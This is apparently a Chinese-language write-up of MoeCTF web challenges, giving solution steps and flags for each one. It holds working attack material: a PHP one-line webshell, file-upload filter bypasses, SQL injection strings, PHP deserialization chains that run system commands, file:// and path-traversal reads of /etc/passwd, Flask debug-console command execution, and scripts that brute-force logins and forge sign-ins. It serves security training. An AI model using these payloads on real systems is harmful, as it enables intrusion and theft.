Web渗透测试与审计入门指北
得到一份网站源码,vscode打开,发现是AES解密,html给出了iv值和详细的加密方式,php给出了密文和key
按照源码的要求分别填入需要的东西,解密即可
flag值:moectf{H3r3'5_@_flYinG_kIss_f0r_yoU!}
弗拉格之地的入口
根据题目描述猜测考察的是爬虫协议
访问 /robots.txt,发现有一个php页面
直接访问 /webtutorEntry.php,得到flag
flag值: moectf{coNGraTULATl0n_foR_KnOwlnG-r06ot5-TxT18f10}
ez_http
进入页面,要求post方法传入一个值,先随便传一个
然后按照题目要求,分别post传参,get传参
之后就需要用到burp抓包了,抓包再按照要求分别修改Referer(来源),Cookie,UA头(所使用的浏览器),X-Forwarded-For(伪造本地代理),得到flag
flag值:moectf{Y0U_@rE_re@Ily-r34L1Y-V3Ry_CLEveR!!!3b86c}
弗拉格之地的挑战
web套娃,flag一共有七段,一步一步来吧
第一段,F12查看源码,得到 flag1: bW9lY3Rm
第二段,抓包发送到重放器模块重放,得到 flag2: e0FmdEV
第三段,还是和上题一样考察的http,按照要求传入参数,得到 flag3: yX3RoMXN
第四段,题目要求从 http://localhost:8080/flag3cad.php?a=1 点击过来,意思就是referer是这里,burp抓包修改Referer字段
然后发现需要点击id为9的按钮才会获得flag,但是没有id为9的按钮,这时候就需要我们通过修改前端js伪造了
通过控制台修改其中一个按钮的id属性为9,点击修改的按钮,在控制台处得到 flag4: fdFVUMHJ
第五段,考察的前端验证,在前端把checkValue()函数删除,再提交 I want flag,得到 flag5: fSV90aDF
第六段,php函数 preg_match() /i模式不区分大小写,可以使用大小写绕过,至于post传入的参数只要不为空就行,得到 flag6: rZV9VX2t
第七段,界面给了一句话木马,蚁剑连接还是直接post传参都行,直接传参进行命令执行,查看根目录,发现flag7,直接cat,得到 flag7:rbm93X1dlQn0=
至此,所有flag都已经找全了,将他们拼接并base64解码,得到完整flag
flag值:moectf{AftEr_th1s_tUT0r_I_th1ke_U_kknow_WeB}
ImageCloud前置
题目说环境不出网,并且flag在/etc/passwd里,很容易想到file伪协议读本地文件,在url里写入如下代码,即可得到flag
file:///etc/passwd
flag值:moectf{1-4m_very-sOrRY-a6oUT-This39ff8e1f}
ProveYourLove
审计js代码,限制了提交次数,测试一个浏览器只能提交一次,到达300次之后得到flag
如下是限制提交次数的代码
if (localStorage.getItem('confessionSubmitted')) {
alert('您已经提交过表白,不能重复提交。');
return;
}
我们可以写个函数控制台提交,循环调用清除提交状态,然后连点器不断发起提交请求
function repeatTask() {
localStorage.removeItem("confessionSubmitted");
}
setInterval(repeatTask, 500);
300次后得到flag
flag值:moectf{C0ngR@Tu14t1Ons_0N-B3CoMlNg_A-1ICKINg-doG1b3}
垫刀之路01: MoeCTF?启动!
已经getshell了,可以执行命令了,直接cat /flag
提示flagh在环境变量里,env读取环境变量,得到flag
flag值:moectf{weIcOMe_t0-MOEcTf_4Nd_RO4DI-St4RTup-BY_SXRHHhec}
垫刀之路02: 普通的文件上传
先上传一个一句话木马试试水,内容如下
<?php @eval($_POST['a']); ?>
发现没任何过滤,直接就上传成功了,文件目录也有回显,使用蚁剑连接
根目录没有flag,看看环境变量,得到flag
flag值:moectf{uPlOaD-YouR-P4yloAD_4nd_D0_wH@t-Y0ur_w4nTa85}
垫刀之路03: 这是一个图床
同样先上传一个php一句话木马试试水,发现提示只能上传图片
那就先上传一个图片马,修改php木马后缀为jpg就行,然后burp抓包再改后缀为php,实现绕过
然后蚁剑连接,还是env读环境变量,得到flag
flag值:moectf{byPASS_th3-M1M3_TyP3_@nD-3XT3NSlOn_y0U-c4N-d0_lT4}
垫刀之路04: 一个文件浏览器
打开发现是一个类似文件目录的样式,结合题目名称联想到目录穿越
没有过滤,可以直接读,../可以回到上级目录,多写几次可以读到根目录
然后直接读flag,但是发现啥都没,在/tmp发现flag,成功读到flag
flag值: moectf{cRO55-th3_Dlr3CTorY-AnD_Y0U-MAy-f1Nd_3tc_pAsSWd2c}
垫刀之路05: 登陆网站
使用万能密码登入,常见万能密码:
1' or 1=1#
' or 1='1
flag值:moectf{hAvE_tHe-u53fUL_paSSwoRD-4ND_g0-3verYWhERe-onLy-sqL_can_do0}
垫刀之路06: pop base mini moe
源码如下:
<?php
class A {
// 注意 private 属性的序列化哦
private $evil;
// 如何赋值呢
private $a;
function __destruct() {
$s = $this->a;
$s($this->evil);
}
}
class B {
private $b;
function __invoke($c) {
$s = $this->b;
$s($c);
}
}
if(isset($_GET['data']))
{
$a = unserialize($_GET['data']);
}
else {
highlight_file(__FILE__);
}
开始审计链子,很短的链子,反序列化后首先调用__destruct()魔术方法,__invoke()方法是对象被当成函数调用时触发,将类B对象赋值给a变量,s变量被调用触发__invoke()魔术方法,进而构造执行命令
链子为:__destruct()->__invoke(),payload如下:
$payload = new A();
$payload->evil = "cat /flag";
$payload->a = new B();
$payload->a->b = "system";
echo serialize($payload);
将序列化后的字符串get传参到data,得到flag
flag值:moectf{pL3a5e_klck-cFb6_6EcaU5E_H3_r@1Se-PoPmo3-1n-W3Ek1_haha0}
垫刀之路07: 泄漏的密码
flask应用如果开启了调试模式,使用pin码可以进入console控制台
访问 /console 路由,输入pin码进入调试模式
进入之后使用python执行系统命令和访问系统文件进行命令执行,os返回值是0,所以我们可以使用subprocess来执行,测试发现flag在当前目录,直接cat flag即可,得到flag
flag值:moectf{doNT_u5iNg_FI4sk_by-D3bUG-M0D_@nd-LEAk_yOur_pIN10}
静态网页
提示说不用扫描,那我们就先随便点点看看,发现换衣服是向后端发起请求的
我们抓包查看,注意这里换衣服产生两个包,第一个包没用,第二个包重发可以看到有个php网页
访问 final1l1l_challenge.php,弱类型比较绕过+数组传参
参数a不能为数字但是需要弱等于0,同时也要满足 md5($a) == b\[a]
网上可以查到一些特殊的数据,他们的md5值是0e开头的,所以他们弱类型比较值都为0,可以实现绕过
至于数组类型可以使用 数组【下标】的形式传参
分别传入以下数据,即可得到flag
?a=s878926199a
b[s878926199a]=0e545993274517709034328855841020
flag值:moectf{1S-my_Wlfe-PlO_ch@n-cUTE-0r_Y0Ur-w1fe-is-php?18f}
电院_Backend
给了源码,源码审计
$email = $_POST['email'];
if(!preg_match("/[a-zA-Z0-9]+@[a-zA-Z0-9]+\\.[a-zA-Z0-9]+/", $email)||preg_match("/or/i", $email)){
echo json_encode(array('status' => 0,'info' => '不存在邮箱为: '.$email.' 的管理员账号!'));
unset($_SESSION['captcha_code']);
exit;
}
$pwd = $_POST['pwd'];
$pwd = md5($pwd);
$conn = mysqli_connect("localhost","root","123456","xdsec",3306);
$sql = "SELECT * FROM admin WHERE email='$email' AND pwd='$pwd'";
$result = mysqli_query($conn,$sql);
$row = mysqli_fetch_array($result);
发现email参数和pwd参数都是直接从后端数据库中查询的,确定应该是sql注入漏洞
由于email和pwd我们都不知道,sql查询语句又是用AND拼接的,所以判断注入点是在email,email参数需要匹配正则并且过滤了or,使用union联合注入即可绕过
123@qq.com' union select 1,2,database()#
审计完源码,我们打开题目,没见有登陆框,扫一下目录发现有robots.txt文件,发现admin页面,访问
果然是一个登录框,按照上述方法注入,得到flag
flag值:moectf{I-Dld_N0t-exp3ct-yOu_tO-be-5O-STR0ngb4999}
pop moe
这题的链子相较来说比较长,我们慢慢来分析
-
首先将所有private属性和protect属性替换为public函数
-
反序列化触发__destruct()魔术方法调用check()函数,payl0ad的值不能是0
-
class001对象赋值给what属性,对象作为函数调用触发__invoke()魔术方法
-
class002赋值给class001类的a属性,对不可访问属性进行赋值时触发__set()魔术方法,同时将payl0ad属性赋值为dangerous字符串,此时触发__set()魔术方法会调用dangerous方法
-
class003对象赋值给sec属性,对象被当成字符串调用时触发__tostring()魔术方法,将mystr属性赋值为命令执行的字符串
-
$this->sec此时是class003对象,在函数参数whaattt中传入后调用evvval()函数,进而执行eval()命令,执行mystr属性赋值的命令执行字符串,实现任意命令执行
class class000 {
private $payl0ad = 1;
public $what;public function __destruct() { $this->payl0ad = 1; $this->check(); } public function check() { if($this->payl0ad === 0) { die('FAILED TO ATTACK'); } $a = $this->what; $a(); }
}
class class001 {
public $payl0ad = "dangerous";
public $a;
public function __invoke()
{
$this->a->payload = $this->payl0ad;
}
}class class002 {
public sec; public function __set(a, $b)
{
this->b($this->sec);
}public function dangerous($whaattt) { $whaattt->evvval($this->sec); }
}
class class003 {
public mystr; public function evvval(str)
{
eval($str);
}public function __tostring() { return $this->mystr; }
}
$exp= new class000();
$exp->what = new class001();
$exp->what->a = new class002();
$exp->what->a->sec = new class003();
$exp->what->a->sec->mystr = "system('env');";echo urlencode(serialize($exp));
flag值: moectf{it_5EEM5_Th4t-YOU_KNOw-wh@T-15_p0p_IN-PHPpppPpP!!!35}
勇闯铜人阵
这道题考察的就是分析问题编写脚本的能力,我们来简单分析一下
- post提交用户名和弟子明白,发起一个session会话请求,获取返回页面内容
- 匹配特定位置出现的数字,写一个字典与位置对应,按照题目要求拼接数据
- 将拼接的数据和用户名再次post提交到上一个请求返回的页面,循环提交五次,返回最终响应数据,得到flag
解题脚本如下:
import requests
import re
url = "http://127.0.0.1:51446/"
direction_dict = {
1: "北方", 2: "东北方", 3: "东方", 4: "东南方",
5: "南方", 6: "西南方", 7: "西方", 8: "西北方"
}
initial_post_data = {
'player': '123',
'direct': '弟子明白'
}
def get_status_numbers_and_resubmit(url, initial_post_data):
session = requests.Session()
# 第一次请求:通过POST方式提交数据
response = session.post(url, data=initial_post_data)
response.raise_for_status() # 检查请求是否成功
# 获取页面内容
page_content = response.text
# 使用正则表达式匹配<h1 id="status">标签中的所有数字
pattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'
match = re.search(pattern, page_content)
if match:
status_numbers_str = match.group(1).strip() # 去除空白字符
status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')] # 将数字字符串转换为整数列表
# 根据状态数字数量决定如何拼接方向
if len(status_numbers) == 1:
direction = direction_dict.get(status_numbers[0], "未知方位")
elif len(status_numbers) == 2:
directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]
direction = ",".join(directions)
else:
direction = "未知方位"
print(direction)
# 循环提交新的方向
for i in range(5):
second_post_data = {
'player': '123',
'direct': direction
}
# 第二次请求
second_response = session.post(url, data=second_post_data)
second_response.raise_for_status()
print(second_response.text)
page_content = second_response.text
pattern = r'<h1 id="status">\s*([\d\s,]+)\s*</h1>'
match = re.search(pattern, page_content)
if match:
status_numbers_str = match.group(1).strip() # 去除空白字符
status_numbers = [int(num.strip()) for num in status_numbers_str.split(',')] # 将数字字符串转换为整数列表
# 根据状态数字数量决定如何拼接方向
if len(status_numbers) == 1:
direction = direction_dict.get(status_numbers[0], "未知方位")
elif len(status_numbers) == 2:
directions = [f"{direction_dict.get(num, '未知方位')}一个" for num in status_numbers]
direction = ",".join(directions)
else:
direction = "未知方位"
print(direction)
else:
print("未找到匹配的数字")
get_status_numbers_and_resubmit(url, initial_post_data)
flag值:moectf{weIl1I_YOU-PAss_tH3-Ch4L13Nge-FrrrRrom-tonrEn16}
who's blog?
进入界面,要求提交id,使用get方式提交试试,提交id=1
这种一看就是经典的ssti了,再进一步测试下
ssti无疑,而且似乎过滤的很少,直接使用fenjing一把梭,env查看环境变量,得到flag
flag值:moectf{do-Y0u-knoW-5STl_ANd-PIE453-V15It-SXrhHH5-BLoG6}
ImageCloud
先上传一个图片看看回显
上传成功,访问,发现上传到了内网服务器上了,典型的ssrf漏洞
通过源码可知,上传服务的端口是随机分配的,burp爆破端口
得到有回显的端口,通过源码可知flag.jpg是在image目录里的,再通过相对路径找到flag
flag值:moectf{c3tT36rAt3-YOU-4Tt4Ck_t0-MY_tm@G3-CTOUdHhhhHh31a)
Re: 从零开始的 XDU 教书生活
题目给了完整源码和环境,可以直接本地部署尝试
思路:
- 获取未签到的名单,提取出所有用户名,学生用户的账户名和密码相同,通过用户名和密码模拟登陆获取用户cookie
- 然后获取签到所需的二维码信息,使用获取的 Cookie 和二维码信息进行自动签到
- 手动登陆教师账号开始和结束,得到flag
解题脚本如下:
import requests
url = "http://127.0.0.1:8888/"
def GetUnsignNamelist(data):
names = []
for i in data['data']['changeUnSignList']:
names.append(i['name'])
return names
def get_cookie(uname, password):
url = "http://127.0.0.1:8888/fanyalogin"
data = {
"uname": uname,
"password": password,
}
response = requests.post(url, data=data)
if response.status_code == 200:
token = response.cookies.get("token")
if token:
return token
def get_qr_code():
response = requests.get(url+"v2/apis/sign/refreshQRCode")
if response.status_code == 200:
json_data = response.json()
enc = json_data['data']['enc']
sign_code = json_data['data']['signCode']
return enc, sign_code
def auto_sign(token, enc, sign_code):
params = {
"id": "4000000000000", # 假设这是活动的ID
"c": sign_code,
"enc": enc,
"DB_STRATEGY": "PRIMARY_KEY",
"STRATEGY_PARA": "id"
}
cookies = {
"token": token
}
response = requests.get(url+"widget/sign/e", params=params, cookies=cookies)
if response.status_code == 200:
print(response.text)
response = requests.get(url + "widget/sign/pcTeaSignController/showSignInfo1")
data = response.json()
stunames = GetUnsignNamelist(data)
for name in stunames:
cookie = get_cookie(name, name)
enc, sign_code = get_qr_code()
auto_sign(cookie, enc, sign_code)